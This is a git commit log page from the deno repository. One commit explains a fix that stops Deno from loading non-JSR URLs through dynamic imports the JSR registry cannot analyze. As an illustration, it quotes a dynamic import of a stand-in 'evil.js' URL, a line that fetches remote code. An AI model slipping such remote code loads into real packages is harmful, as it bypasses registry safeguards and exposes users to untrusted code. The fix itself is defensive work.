| Age | Commit message (Collapse) | Author | |
|---|---|---|---|
| 2024-03-15 | chore: move more tests away from itest (#22909) | David Sherret | |
| Part of #22907 | |||
| 2024-02-28 | fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic ↵ | David Sherret | |
| import from JSR (#22623) A security feature of JSR is that it is self contained other than npm dependencies. At publish time, the registry rejects packages that write code like this: ```ts const data = await import("https://example.com/evil.js"); ``` However, this can be trivially bypassed by writing code that the registry cannot statically analyze for. This PR prevents Deno from loading dynamic imports that do this. | |||
 |
index : deno.git | |
| Unnamed repository; edit this file 'description' to name the repository. | User & |
| summaryrefslogtreecommitdiff |